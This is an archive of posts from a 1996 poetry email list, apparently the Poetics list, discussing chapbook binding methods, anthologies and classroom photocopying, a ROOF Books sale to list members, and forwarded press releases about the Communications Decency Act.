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456. **Charles Alexander**
(no subject)
Thu 15 Feb 1996

Jackson, thanks for the questions on book binding. I certainly don't have all the answers, but I can make a few points.

For single signature pamphlets or chapbooks, I would always recommend sewing with linen thread rather than staples. The linen thread is usually a natural color much like the paper, and the process (most commonly three-hole sewing) is easily learned and actually relatively quickly done. I know that I can sew a couple of books a minute in this fashion, either pre-punching holes, or, if there aren't too many sheets in the signature, just punching them with the needle as I sew. In this way it's not too many hours before an edition of 300, or even 500, is sewn. I would recommend it to all publishers of such chapbooks, over stapling. And just do it yourself rather than pay to have it done. I generally recommend the final knot of the sewing being on the outside rather than the inside of the book. If anyone wants more detailed instructions I can give them, or you can pick up various books on bookbinding. One of the best is Keith Smith's Non-Adhesive Bindings.

As for perfect bindings, I agree they're not the best, but you say the books you have which are coming apart (and I assume that you mean some of the pages are coming out) are two decades old or less. I am told (but I haven't tested this) that the techniques for perfect binding have improved even in the last three years or so, so that the bindings now are much more long-lasting and secure than they once were. However, there are probably some printers still using the same equipment and procedures they were using 20 years ago, so, as in so many things, "know your printer and ask them questions" is good advice.

A modified kind of perfect binding, in which notches are cut in the signatures and glue is shot in, generally called "notch binding," has also come into vogue. This is an improvement over perfect binding in terms of strength of the binding and the way the book lays open (but not as flat as smyth sewing). Some printers now offer "notch binding" and not perfect binding at all. Thomson-Shore is one of the best of these for short run book publishers, plus they are perhaps the best printer to work with. They also offer a great newsletter with lots of info on such binding techniques, developments in printing, electronic pre-press, etc. They also use only soy-based inks, which doesn't necessarily mean anything for the reader or publisher, but makes for a vastly improved working environment

for the workers at the press. Thomson-Shore tends to be a little more expensive than McNaughton & Gunn or Cushing-Malloy, but some of you might find the service and the results worth the difference. And sometimes they aren't more expensive, so it's always good to send them specifications and get estimates. They are in Ann Arbor, Michigan, and they have a world wide web site, too, so if you have web access you can find them there.

I had a Chax book perfect bound for the first time last year and I was disappointed in the results, as opposed to all other Chax trade paperbacks which have been smyth-sewn (but not in terms of anything falling apart). In this regard I find the expense of smyth sewing worth it. Different presses charge more or less for this. In my most recent experience, an edition of 500 books produced by Cushing-Malloy in Ann Arbor cost only $75 more to have smyth sewn than to have perfect bound. I think that is well worth the difference. Smyth sewing does add a week or so to the production timeline, as it's something many printers don't do in house.

I hope this information helps, and I hope others offer other ideas, as I'm also always interested to learn about different possibilities from printers and binders.

I'm also acting as an independent broker for one printer here in Minneapolis, although not one which specializes in book work. But if anyone has any 2-color to 4-color work and wants one of the best printers in the midwest to do it, please get in touch with me. I've worked with them on some very intricate projects, and some very simple projects, and have always been extremely pleased with the results. Prices are competitive. Sorry for the shameful commercialism here, although really not ashamed.

charles alexander

↑ Index

457. Eryque Gleason
Re: (C) up for grabs
Thu 15 Feb 1996

Douglas Messerli wrote some things, then Emily Lloyd wrote some things, then the former wrote later. Now I'm writing.

When looking upon anthologies as a representative work of a collection of authors, they're pathetically inadequate.

However, as a student, anthologies are incredibly useful as representations of different genre, and i use them as nodes with connections to specific things that may interest me. I wouldn't buy any "period" anthology because i've heard of, say, Stein and that book happens to have three of her poems in there. I would ,

and have gotten books because they put three of stein's poems (that i may or may not know) in relation to/contrast with other authors. And the next step, wait for summer break when I've got some real free time to read and buy *gasp* whole books by those authors.

from deep in credit debt,
eryque

↑ Index

458. Charles Alexander
(no subject)
Thu 15 Feb 1996

> *I've produced stapled books with wrap around covers which gives them a spine by default.*
>
> _____
> *Mark Roberts*

Mark -- I'm not certain I understand this. If the wrap around cover has a single crease (not two creases with a flat "spine" in between) I would still consider it without spine, by fault or default. So could you describe what you have done more specifically, either on this list or directly to me at [redacted]

thanks,

charles

↑ Index

459. Ron Silliman
Internet Censorship
Thu 15 Feb 1996

Ryan, Daniel, & everyone

You think the censorship provisions in the Telecommunications bill are bad enough? Here's what the far right says about it (they're taking the proto out of protofascist...)

(By the way, the AFA does give its phone number at the end of this press release.)

TITLE Computer pornography law not working, says afa DOCNO INW 960461769 DATE 960215 MESSAGE THIS IS THE FULL TEXT. CITATION PR Newswire, February 14, 1996, Wednesday SECTION Washington Dateline LENGTH 351 words ABSTRACT American Family Association issued the following: "Less than one week after the Communications Decency Act was signed into law by President Clinton, it is

obvious that the law, designed to curb computer pornography, is not working and never will work," said Patrick Trueman, director of American Family Association governmental affairs. This fact was made clear by the action this week of CompuServe, a major access provider to the Internet, to restore access to pornographic Internet sites it had recently blocked under pressure from German prosecutors. Access providers to the Internet have a financial incentive to provide access to pornography and they will not block such sites until they are under a legal obligation to do so, Trueman said. The Communications Decency Act included specific provisions protecting access providers from criminal liability and until those provisions are repealed, CDA will be nearly useless, he added. WASHINGTON, Feb. 14 Trueman wrote to leaders of pro-family groups today urging them to unite behind a tough anti-pornography measure like that sponsored by Congressman Henry Hyde. The Hyde measure, which would have made anyone liable who knowingly and intentionally provides pornography to children or obscene pornography to anyone, was defeated in committee by supporters of CDA. "The reality is CDA does not work and it will never work. For its enforcement it relies on a massive number of prosecutions by the Justice Department of individuals who put illegal pornography on the Internet while the major distributors and money makers from the distribution of pornography -- the access providers -- are given a free ride," Trueman said in his letter to pro-family leaders. Trueman urged pro-family leaders to act now to change the law. "There is no point in waiting months or years. CompuServe has made that clear in its recent actions which demonstrate that the law has little, if any, deterrent effect," Trueman said in his letter.

CONTACT Patrick A. Trueman of the American Family Association, [redacted]

INDEX bc DC AFA porn law Federal State Legislation
SUBJHEAD Computer; Electronics
LOCATION District of Columbia
COMPANY American Family Association AMERICAN FAMILY ASSOCIATION;

==========
==========
======

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460. Aldon L. Nielsen
Re: Vizenor
Fri 16 Feb 1996

"of"?

but seriously folks, _Manifest Manners_ is one hell of a book -- also check out _Selected_ Vizenore available from Wesleyan as a good intro. if you don't already know his works -- _Heirs of Columbus_ too, a novel!

↑ Index

461. Jonathan Brannen
FYI - CDA has been signed into law
Fri 16 Feb 1996

>Date: 15 Feb 1996 16:16:57 +0000 (GMT)
>From: [redacted]
>Subject: FYI - this scared me to pieces re:1st amendment, pass along
>To: [redacted]
>
>From: IN%"[redacted]" "Peter Flynn" 15-FEB-1996 14:38:03.14
>To: IN%"[redacted]"
>CC:
>Subj: [[redacted]: --> Press Release from OmniMedia Regarding the
CDA and Electronic Books]
>
>Date: 14 Feb 1996 11:42:00 -0600 (CST)
>From: Jon Noring <[redacted]>
>Subject: --> Press Release from OmniMedia Regarding the CDA and
Electronic
Books
> <[redacted]>
>To: Multiple recipients of list TEI-L <[redacted]>
>Approved-By: tei-l <[redacted]>
>Content-Length: 13947
>
>FOR IMMEDIATE RELEASE Date: February 9, 1996
> Contact: Jon E. Noring
> Phone: [redacted]
> E-Mail: [redacted]
>
>South Jordan, Utah
>

>
>"Statement by OmniMedia Regarding the Telecommunications Reform Bill"
>
> "Its Effect on Electronic Book Publishing"
>
>
>Yesterday, President Clinton signed into law the Telecommunications
>Reform Act. Included in this legislation is a very controversial and
>dangerous provision, the so-called "Communications Decency Act or
>Amendment" (CDA).
>
>The ACLU, along with several other civil rights and net advocacy groups,
>such as EFF and EPIC, and joined by several businesses, are all
>plaintiffs in a lawsuit just filed in Federal court to rule the CDA
>unconstitutional. The CDA is clearly an egregious assault on our
>Constitutional rights and deserves to be overturned.
>
>The ramifications of the CDA to civil liberties and rights are complex
>and wide-ranging. It is not the intent of this statement to outline all
>of these complexities and ramifications as they are many, and is being
>done by others. Rather, we will primarily focus on the effect of the
>CDA to electronic book publishing here in the U.S., particularly with
>regard to direct marketing of titles over the Internet. However, before
>doing so, it is necessary to give a short summary background about the
>CDA itself so its probable impact on electronic book publishing will be
>easier to see.
>
>In essence, the CDA makes it a felony, punishable by up to two years in
>prison and a hefty fine, to either access or to disseminate, on any
>public electronic network, material which is determined to be
>"indecent", and that "indecent" is defined by "contemporary community
>standards."
>
>Not only is "indecent" still legally vague, the few court rulings define
>it as being much broader than "obscene" and includes speech which the
>courts have determined to be wholly protected in many other venues.
>
>In addition, recent court rulings strongly imply that "contemporary
>community standards" are defined at the local level. For example, a
>literary work which is acceptable in California may be considered
>indecent by some local community elsewhere in the U.S. This means,
>theoretically at least, a person in California, or even outside the

>U.S., who violates the "decency" of some small community in the U.S., by
>simply distributing some material on the global Internet, which in his
>or her hometown would be considered acceptable, could be extradited by
>that small community to face felony charges, and to be judged by a jury
>from that community and not their own!
>
>This small community could hold the rest of the United States and even
>the world hostage to their over-broad view of what is "indecent." Not
>only is it grossly unfair to any rational thinker, it is dangerous to
>all of our civil liberties as it gives too much power to any small
>organized fringe group, including religious groups, to trample on the
>rights, practices, and desires of the silent majority in mainstream
>America.
>
>And, to make matters worse, the obsolete Comstock Act of 1873 was
>extended by the CDA to include all electronic networks, making it a
>criminal act, punishable by a 5 year prison term, to disseminate *any*
>information about abortion on the Internet, even in private e-mail.
>This, combined with the vagueness of "indecency", would stifle any
>discussion on legitimate contemporary topics such as abortion, birth
>control, AIDS prevention, GLB issues, scholarly and health-related
>aspects of human sexuality, etc.
>
>Under CDA, even some court rulings cannot be distributed over the
>Internet since they contain one or more of the "seven words" which the
>"Pacifica" court ruling determined were "indecent". Thus, the
>"Pacifica" ruling itself is banned from distribution on the Internet
>since it lists these "seven words"! And let's not forget the "Roe vs.
>Wade" decision on abortion -- it, too, cannot be legally distributed on
>the Internet, at least by the strictest interpretation of the CDA.
>
>Clearly the CDA is a gross violation to our First Amendment right of
>Free Speech as well as our socially-accepted right for all citizens to
>be able to access and obtain information, including court rulings, in
>the most convenient way existing at the time. Free exchange of
>information is one of the cornerstones of democracy.
>
>The effect of the CDA, should it prevail in the courts (which is
>fortunately doubtful), would also be a major setback to the new and
>rapidly growing electronic book industry here in the U.S. It might also
>lead to the eventual domination of publishing by Europe and Japan,
>though this is admittedly more debatable. Right now the U.S. enjoys a

>commanding dominance in publishing.
>
>Clearly, in the absence of CDA or similar restrictions, the future of
>electronic book publishing is very promising. Already we are seeing
>significant growth of the electronic book publishing industry;
>OmniMedia is one of several pioneering electronic book publishers, and
>new ones are coming "online" every month. Some of the major print
>publishers are beginning to venture into this area as well. As
>technology advances, particularly in high resolution and inexpensive
>flat screen displays, it is only a matter of time, some say in as little
>as 15 to 20 years, when more electronic books will be sold worldwide
>than their bound paper counterparts.
>
>In addition, the continual upgrading of our "Information Superhighway"
>to higher and higher speed and capacity makes it not only possible, but
>also very attractive (to both publisher and consumer alike) for
>electronic books to be directly marketed to the consumer via the
>Internet. This is already being considered by the multi-billion dollar
>entertainment industry for the sale and distribution of audio recordings
>and movies (note that the CDA puts a damper on this.) Any rational
>thinking person would see the immense value in this means of
>distributing information and entertainment of all types.
>
>OmniMedia and a few other publishers now distribute and sell e-books
>directly over the Internet via the World Wide Web (WWW) and are finding
>it profitable because it is very convenient for the consumer and
>significantly reduces the overhead costs of production, marketing and
>distribution, which, with free- market competition, the savings will
>pass on to the consumer.
>
>It does not take a rocket scientist to realize that the CDA would ban
>the electronic distribution of a large fraction of the books that are
>published today (it would not be surprising if over half of all books
>would be deemed "indecent" by the "seven words" criteria alone, not to
>mention the more intangible and uncertain aspects of what else
>constitutes "indecency", and by whom.) Therefore, the CDA has a
>profound chilling effect on the use of the Internet to distribute such
>material and, in practice, will not allow this method of distribution to
>mature in the U.S., to the loss of both the consumer and the publishing
>industry.
>
>Instead, publishers will still have to rely on the traditional way to

>market both paper and electronic books which is much more inefficient
>and expensive. Ultimately, it is a major blow to consumers who, in a
>CDA-free world, would be able to purchase e-books at lower cost than at
>present and who would have the convenience of rapid delivery of any
>titles available on the market right to their home. It would also
>greatly benefit publishers in ways that would take too long to discuss
>here. The CDA is a damaging blow to electronic book publishing here in
>the U.S.
>
>(As an aside, in a similar manner, many mainstream magazines would also
>be banned from Internet distribution. The rapidly escalating cost of
>high- quality "glossy" paper is making Internet distribution extremely
>attractive. But of course the passage of the CDA puts a stop to this as
>it does electronic book distribution over the Internet.)
>
>One could argue that the U.S. publishers could suitably encrypt or
>password protect their e-books allowing them to be distributed on the
>Internet and bypass CDA restrictions. But the current CDA is not so
>forgiving -- the CDA makes no distinction in what form the information
>is distributed. If the content of any e-book is deemed to be "indecent"
>by some small community as mentioned above, it makes no difference if it
>is encrypted or written in Swahili, or even if it is distributed on an
>electronic network where only adults are allowed access since the CDA
>covers *all* public electronic networks, no matter how subscribership to
>the networks is configured (the CDA does this, of course, to "protect
>our children", who must be so cunning as to be able to break into any
>closed network and to decrypt messages even the NSA could not decrypt.)
>
>And all the while the U.S. publishing industry is restricted to
>marketing books the "old-fashioned way", our European and Japanese
>friends will not be so restricted. They will enjoy the ability and
>advantages of marketing directly over the Internet in their own
>countries and so will clearly dominate there as well as developing the
>infrastructure to do so, getting a large technological jump over U.S.
>publishers. How this will effect the current supremacy the U.S. has in
>publishing is debatable, since it can be argued that it is still a level
>playing field -- the U.S. publishers can market their e-books over the
>Internet outside the U.S., and the rest of the world has to market their
>e-books the "old-fashioned way" within U.S. borders.
>
>But it is hard to imagine that the greater freedom and flexibility
>enjoyed by the Europeans and Japanese, as well as getting a

>technological jump, will not eventually translate into gaining market
>dominance and hurting the U.S. publishing industry. And they are
>formidable competitors: the Japanese domination in the U.S. market for
>consumer electronics and automobiles should serve as a warning of what
>could happen in the publishing field if the CDA is not overturned or
>significantly amended as soon as possible.
>
>Our competitors are looking for any crack in U.S. resolve to fully
>compete against us in the international marketplace, and the CDA is an
>obvious major crack. Billions of dollars and thousands of jobs are at
>stake here, and this was not even considered when the ill-written CDA
>was silently slipped into the Telecommunications Reform Act without any
>public input before Congress.
>
>And let's not forget the U.S. consumer, who will also be hurt by the CDA
>restrictions as pointed out above.
>
>Thus, OmniMedia urges Congress to trash the CDA and pass sane and
>publicly debated legislation, and not only because it would be good for
>U.S. business and consumers, but because it is morally the right thing
>to do.
>
>We support the right of parents to protect their children by providing
>parents with the necessary software to block any Internet information
>that they don't want their children to view. This is easily done. We
>do NOT support taking away the parental right to determine what their
>children should and should not view, nor do we support taking away the
>parent's own rights to Free Speech on the Internet.
>
>The current CDA does what the silent majority in America does not want:
>allowing some faceless person in some far removed community to determine
>what parents in mainstream America should and should not allow their
>children to view -- it is government intrusion into the family at its
>worst. It also takes away the parents' own rights to Free Speech,
>holding them and the entire U.S. public hostage to an insane piece of
>legislation, and to a small minority, whose stated purposes for pushing
>the CDA was to "protect our children" and to "stop child pornography"
>(what American doesn't support these laudable goals?) But the profound
>and chilling ramifications of the CDA go light-years beyond these stated
>purposes and suggest that the *real* motives of this small but dedicated
>minority were something that mainstream Americans do not share, nor
>want.

>
>One day "our children" will grow up and find themselves without Free
>Speech protection as well as fewer jobs, all because of the "wisdom" of
>the CDA. Without guaranteed Free Speech in all mediums, it will only be
>a matter of time before we won't be able to protect our children,
>either. Free Speech is a cornerstone of democracy, and without it, our
>other rights, including the Freedom of Religion, are in serious peril.
>And when these rights are gone, and the U.S. is a dictatorship, it will
>be *our children* who will be sent to the Gulags. I don't know about
>you, but I'd rather have my children see the "seven words" over the
>Internet (which they hear all the time at school anyway) than to see
>them live in a totalitarian or theocratical state.
>
>The CDA is a bad piece of legislation that does not serve the public
>interest. It does not add anything useful in the legitimate fight
>against child pornography and online harassment using the Internet
>(another claimed reason for its existence) -- the proven and
>Constitutionally tested laws we now have on the books have been shown to
>be adequate to deal with the problem when law enforcement is motivated
>to enforce them. And as it should have been made clear by now, the CDA
>is bad for business and very bad for U.S. economic competitiveness in
>the world.
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>
> Jon E. Noring
> President and Owner
> OmniMedia, publisher of electronic books
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>OmniMedia Electronic Books | URL: http://www.awa.com/library/omnimedia
>9671 S. 1600 West St. | Anonymous FTP:
>South Jordan, UT 84095 | ftp.awa.com
/pub/softlock/pc/products/OmniMedia
>[redacted] | E-mail: [redacted]
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462. R I Caddel
Re: Veronica Forrest-Thomson
Fri 16 Feb 1996

"Poetic Artifice" is also worth noting again: this is V F-T's "Theory of Twentieth-Century Poetry", published by Manchester Univ. Press, 1978. Her "Collected Poems and Translations" (Allardyce Barnett 1990) also includes, as has been noted, "Poetry Such As: An Introduction to the Poetry of Tel Quel" with translations of Pleynet & Roche. All good things.

RC

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463. Ron Silliman
ROOF voyeurism
Fri 16 Feb 1996

I've been fascinated at James' little distribution project and the responses that it has received, although I've been unable to participate since I already own all those books. But it's a rare moment really when we get to see different folks' street addresses (there are some email domains that seem fascinatingly obscure on where in the world they might be -- it took me forever to realize that Simon was in Taiwan). It's also fun, frankly, to see who gets what. Does it mean that they have all the other books on that list? (And, also, why did James pick those books and not some others?) Remembering what happened to those poor clueless lawyers in Arizona who advertised their wares on several usenet groups and got flamed forever until their provider had to shut down their email in self-defense, it's nice to see how civilized people on this list really are. But of course we all know how difficult it is to get small press materials and so are probably predisposed to feel kindly toward any act of distribution. I know I am. And having done it a little awkwardly has also made us all conscious that this is one method that might work well for other publishers, especially with backlist materials. Are Sun&Moon, Talisman, Chax et al taking notes?

Having said that, let me note that if you don't own Kit Robinson's _Balance Sheet_ already, you are missing one of the great treats of the millenium. It's a terrific book (as is true, frankly, for all his books). He has my vote for most underrated poet of my generation.

All best,
Ron Silliman

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464. henry gould
anthologies
Fri 16 Feb 1996

Anthologies seem to have a couple of uses. One is to give a wide stereoscopic view of a place or time. The good ones would provide detailed instructions on access to what's left out. Technology seems to open up the possibility of "live anthologies" with endless branches and channels to obscure connections, changing the "canon" question some.

Another use is how they participate in what Montale called the"second life of art". Old anthologies sort of seep into the ground & become part of the landscape & then affect people in unexpected, "secondary" ways (this is not exactly what Montale had in mind, but close). I'm thinking of Pound finding or using an old anthology of English poetry while in the prison camp in Italy (one of the few bks available to him). Or how one of those Untermeyer anthologies of British poetry changed Brodsky's career.

The school use of anthologies is - oh, well, school... - Henry Gould

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465. Emily Lloyd
Douglas: (C) up for grabs
Fri 16 Feb 1996

douglas--okay. We've had different experiences, that's all. Maybe my profs are particularly conscientious (George Mason U. & Oberlin--you heard it here first). Maybe the profs who've requested xeroxes from Sun & Moon texts weren't writers themselves. Clearly (I think), writers are going to be concerned with preserving the idea of the book--I believe mine have been.

I certainly do think that xeroxing can become an abused privilege---like preying on texts (and writers, and anthologizers). On the other hand, the power of the anthologizer is something I don't mind calling into question. Who goes in, and what of theirs goes in. When only a few anthologies dealing with a certain school or genre are available, the anthologizer has immense responsibility & power. Who decides what "postmodern poetry," "poetry of witness," "queer poetry" looks like?---especially since anthologies are often used in undergrad situations where the folks reading them aren't necessarily interested in poetry & will look no further than the anthology. At best, xeroxing & distributing your own packets is a stance against canonization & systematic exclusion.

Hoping for the best,
emily

> *Dear Emily Lloyd.*
>
> *...Any smaller selection seems to me to help lead students away from the idea of the book, and the book is what I am passionately commited to.*
>
> *Moreover, what you suggest has not been my experience, particulary when professors have asked for permissions to xerox. It's usually been one or two poems from Stein, or one or two poems from Hejinian, etc that they've requested.*
>
> *That also wasn't my experience when I was a professor. Most others were teaching bits and pieces when they created their own xerox textbooks.*
>
> *Douglas*

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466. **Mark Roberts**

Re: ROOF BOOKS -- Special Offer

Fri 16 Feb 1996

James

What about ordering from outside the USA? I may be interested.

> *ROOF BOOKS is making a SPECIAL OFFER*
>
> *to POETICS SUBSCRIBERS <<ONLY>>*
>
> *Poetics Subscribers may buy from the following list of ROOF BOOKS for $5 (Five Dollars) each. Minimum Order must be 3 (Three) Books. Postage is free. You must order by the end of February, 1996, to receive this offer.*
>
> *To order simply reply to this message with your name, shipping address, and the list of books you want.*
>
> *Roof Books will ship you the books, postage free with a stamped envelope and a bill. You send Roof a check.*
>
> *LIST OF SPEIAL OFFER ROOF BOOKS (you must order 3 books)*
>
> *Charles Bernstein, Islets/Irritations, 112p*
> *Ray DiPalma, Raik, 100p*
> *Erica Hunt, Local History, 80p*
> *Peter Inman, Criss Cross, 64p*
> *Jackson Mac Low, Representative Works, 360p*

> *Kit Robinson, Balance Sheet, 112p*
> *Leslie Scalapino, Objects in the Terrifying Tense..., 88p*
> *Fiona Templeton, You--The City, 150p*
> *Diane Ward, Human Ceiling, 76p*
>
> *There has been a lot of talk about the Internet. Let's see if it works.*
>
> *ORDER TODAY. OK?! Just hit "R" on your mail program to reply to this message. I hope we can send a lot of you these great books.*
>
> *James Sherry*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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467. James Sherry
Currency and Postage
Fri 16 Feb 1996

The Poetics response in just one day has been fantastic. Many of you have already ordered and as I sit typing here, poets are sending messages to request books. I will give you a report in a couple of weeks so you can all know what has been ordered.

And of course new special offers will be showing up from time to time.

Several questions have arisen which I did not deal with in the original offer. Here are the answers:

1. Yes, please send all orders to: [redacted]
2. Overseas orders will be charged $6 / book.
3. Overseas orders may use INternational Money Order or check, BUT
4. All orders must be paid in US dollars ($US).

Obviously there may still be more issues outstanding; just let me know.

And keep those backchannel messages coming.

James Sherry

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468. **Joe Amato**
roof books, copies, internet etc...
Fri 16 Feb 1996

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as to the book offer: i replied, as james seemed to ask, to the list---albeit with some hesitancy... but after i thought about it some, and noted james' remark about whether the internet works or don't, it seemed and still seems to me that (just this once) it'd be interesting to actually see the level of response around here to a book sale... so i'm with ron's "voyeurism" on this one, i find it fascinating to see this sorta thing actually work (albeit i can understand why dodie finds this "rude")...

anyway, douglas m.: when you write "why not let students read an entire book?" (a sentiment with which i wholeheartedly concur) there is yet to be asked the overarching question of student economies (as eryque indicates, "in debt")... i mean, to pick at your rhetoric a bit, "let" is not quite the appropriate operator... i simply can't ask my students to go out and buy everything i think they should read... further, i'm hampered by a terrible library situation (no english journals, just for starters)... and the avg. family income of the students on my campus is around $40k...

so when i make copies for my students, i feel i'm doing them a favor... for me the copy machine represents a breakthrough technology in productively breaking the law... i most def. DON'T feel i'm decontextualizing the work, in part b/c i try to account for this through discussion, selected historical materials, etc... and my own books even... and yeah, anthologies (such as yours, or paul hoover's norton---which latter i'm currently trying) can help, albeit they're all to be regarded imnsho as partial *selections*... in fact i've asked my students this semester to each go out and buy one small press book of poetry (this in addition to the norton and two other books)...

i like what---who was it? sheila?---said about this---that in effect there's still the matter of how to make poetry pay... for the time being i would argue that electronic technologies in general---copy machines, www, etc.---may be used to build up a market demand for poetry... and that mebbe, over time, poets might be able to expect some real income from their pursuit... i'm suggesting that there's a market potential here, and the question then would seem to turn to how to exploit same without Exploiting same?...

but if poetry publishers like yourself are gonna rush to argue against such "illegal" distribution activities (i'm being provocative, douglas) as copying for educational purposes (and don't we all do this for *ourselves* anyway?), why then methinks this will keep poetry in its current market-place, with correspondingly little "value" in the public domain... it may be too much to ask that poetry become some sort of national pastime, but at the same time it could

surely stand all the help it can get in terms of public relations (i'm reminded, btw, of just how successful the new critics were in such terms---which can *always* result in Bad Politics)... we're just not going to avoid an economic discussion of poetry anymore than we're going to avoid an economic discussion of the internet...

so perhaps what we need are new economies of scale, predicated on a merging of gift/barter/sales economies... i mean, something like james sherry's book offer, active trading of books on the parts of poets themselves, an occasional giveaway, regular ole buy & sell, used stuff, etc... i mean, how to do this and create---dare i say it?---a livelihood of sorts for those who love to write, to live off of what they love... yeah, ok, parasitically, if need be...

joe

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469. **Jordan Davis**
on condition of anonymity
Fri 16 Feb 1996

Are there examples of anonymous avant-garde poetry publications more recent than the anonymous issue of _Adventures in Poetry_ (the one with the dirty comics on the covers)? I bring it up because the queasy feeling I got seeing who bought which books brought home for me once again the issue of _regard_ and readership here. Last year's anti-hegemony project and the substitutive efforts of edgar allen (sic!) poe though mild as satires go at least problematized the social context of the list, you know, livened things up. If an anonymous remailer were part of the list, how would the power relations on the list change? Are there people who are excluded from the list? Are there people who have quit the list in disgust with certain threads?

There's my name again,
Jordan

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470. **KUSZAI**
Bloody Staples
Fri 16 Feb 1996

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disappointed at comments made by Jackson Mac Low recently and with an eye for the shameless promotion of Meow Press (now that it's in vogue here on the list)--let me respond to the comments about book binding and production. First of all, I am a publisher, book artist, whathaveyou, who uses unsightly staples for a variety of reasons and I take JML's words as a critique of works I sent him

(which is saything nothing of what he thought of the writing by Charles Bernsetin, James Sherry, and other authors some of whom subscribe to this list):

> *"saddle-stitching" or more properly "saddle-wiring" [staples down the center of the book's middle gutter crease] & "perfect" binding [that most IMperfect of bindings]. Stapels are unsightly, liable to rust, & apt to seize up & cut unwary readers. They also come loose at times, leaving the leaves to their own devices. Also when put in by "unprofessionals"--even gifted ones-- they made end up on one side or the toehr of the gutter crease. [Books in an otherwise excellent current series of chapbooks, beautifully designed & with a fine group of texts, occasionally have this as their only defect.] Also stapled books have no spines. So theyre no good to put on shelves unless you have a very exact memory for such things.*

My saddle stapler barely works! I have to give it a backrub just to keep working smoothly! I've not yethad one rust, but it is a drag to buy a book like that in a usedbook store. As far as letting the leaves "to their own devices"--I'm reminded of Juliana Spahr's Leave Books--a model for my own program--and the idea that the leaves might flutter away on their own, well, what a beautiful image! I think of the scholars who'll be confused by a book that was falling apart or made to dissolve in time...

The problem of teh "gutter crease" is one that I take quite seriously and can only say that I know the difference but that a recent assistant to the assembly of these books doesn't yet. My training of him has covered "stapling" (and its icky uncle Folding) but this helper to the process is an unprofessional in that it is important to him to get the books out and he is coming at it from a perspective of an urgent necessity to make these things available, not the fine craft of the book arts. I will bring it up later when we have a meeting to discuss the direction of Meow Press.

On the other hand, what are we doing here? We are making books to hand over to people in the community. Only recently have we contacted libraries to see if they are interested (apparently they are not) and obviously bookstores dont work. Not simply because of the spine-problem, but because very few bookstores know how to develop a section such as it requires to bring people in and get them interested. I worked for a while at Borders store and am committed to community booksellers like Talking Leaves in Buffalo. They display our books nicely there and seem to want to have whatever we make. In August it will have been three years and almost thirty books. If I wasn't in school or had lots of money or rich friends (apparently none of my friends are rich!) then _time_ and _labor_ wouldn't be a factor. I agree that sewing chapbooks is better. But this is an industrial society! I have partipated in capitalism by trying to hurry up and staple books quickly so I can get back to my studies!

C'mon. I guess I have been hanging out with too many poets here in Buffalo. I used to hang out with punk rockers and from them I learned a kind of nihilism that's postive in that I'm not making books to last for the archive, but for now and literally for tomorrow--not next year. Peter Gizzi once complained that the carbon-transfer process common among lazer printers, and photocopiers,etc., was too impermanent. The idea of the words eventually falling off the pages was exciting to me when I started Meow Press and only now do I have fantasies of making "real books" like Roof and Chax,Sun&Moon etc. But it wouldn't be happening at all if I couldn't staple them at home on a "stolen" saddle stapler. I receive some support from Poetics Program at SUNY Buffalo--about enough to do one good size book in paperback with single-color cover in an edition of 750 or 1000 (depending, yes, on where it is printed!). I wouldn'tknow which book to pick! There are many projects I would like to support and doing chapbooks in runs of 300 is one way that I can. So instead, this project was designed to be close to the ground, publishing about 10 chapbooks a year and adding now to that a new "ephemera series" of super-limited edition chapbooks--of short length (10-20 pages)--which will enable us to do another ten or so books a year. The ephemera books will not be listed in the catalog and will be made available to friends of the press and as free giveaways (in the original spirit of Meow Pres).

As far as Jackson's complaint that staples are dangerous and might cut you--I can only hope that no one has ever been seriously injured reading one of my books.

Some current titles include:

Andrews, Bernstein, Sherry, 20 Brief Proposals for Tech/Art
Rachel Back, Litany
Charles Bernstein, The Subject (A Libretto)
Jonathan Brannen, The Glass Man Left Waltzing
Dubravka Djuric, Cosmopolitan Alphabet
Robert Fitterman, Metropolis
Ben Friedlander, A Knot is Not a Tangle
Peter Gizzi, New Picnic Time
Loss Glazier, The Parts
Mark Johnson, Three Bad Wishes
Leslie Scalapino, The Line
James Sherry, 4 Four
Juliana Spahr, Testimony
Misko Suvakovic, Pas Tout

Forthcoming:

Dodie Bellamy & Robert Harrison, Broken English
Wendy Kramer, Patinas
Aaron Shurin, Codex
Ron Silliman, Xing
Meredith Quartermain, Terms of Sale

New Forthcoming List to be announced soon! For more info:
[redacted]

Disclaimer:

The opinions expressed here are the opinions of one man, a mere boy, and are not the opinions of Meow Press or any of its authors.

--Bishop Morda

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471. Charles Alexander
Re: Bloody Staples
Fri 16 Feb 1996

Three cheers for Joel Kuszai, Kuszai Press, and the book as impermanent object. Actually, the works Joel produces will survive as texts one way or another, and I think Meow books have a beauty and charm all their own. While I practice and teach certain bookmaking methods, I applaud what all small press publishers are doing. I often regret that Chax books are not as immediate as Meow, Leave and others, in part because of the means of production and in part because of the cost of production. And some of the greatest treasures in my own library are stapled pamphlets, whether the staples used are rust-proof, stainless ones or not. That they may not last my lifetime is something I know going into it. That they are worthy and exciting to boot is my great pleasure.

thanks, joel

charles

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472. Mark Roberts
(no subject)
Fri 16 Feb 1996

I've produced stapled books with wrap around covers which gives them a spine by default.

_____
Mark Roberts
Student Systems Project Officer

Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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473. **Douglas Messerli**
Re: Douglas: (C) up for grabs
Fri 16 Feb 1996

Emily,

Thanks for your intelligent response. Of course, as I mentioned yesterday, I am not at all against xeroxing (I did the same as a university professor) materials that are not readily available. That "extends" the literary experience. And, believe me, I know all the difficulties of anthologies-- my introduction to FROM THE OTHER SIDE outlines some of those very issues.

But in all my 20 years of publishing Sun & Moon, not one professor (and many have been authors themselves) has requested permission to reprint MORE of, say, Djuna Barnes for instance. The requests have always been for little sections and parts of things, which does lead me to believe that the students are learning bits and pieces of literary texts as opposed to experiencing complete works. That's what I meant by the pedagogical problems I perceive. It's very much the kind of problem that has faced Gertrude Stein all these years: parts of works or "collections" of her work have appeared, but there has been no sense, until recently, of Stein authoring books (THE AUTOBIOGRAPHY OF ALICE B. TOKLAS and THREE LIVES being the obvious exceptions), and I think that is one of the major reasons why Stein was not recognized as one of the central literary figures of the century. It was certainly true for Barnes, who, until my bibliography appeared, was perceived as a one-novel writer.

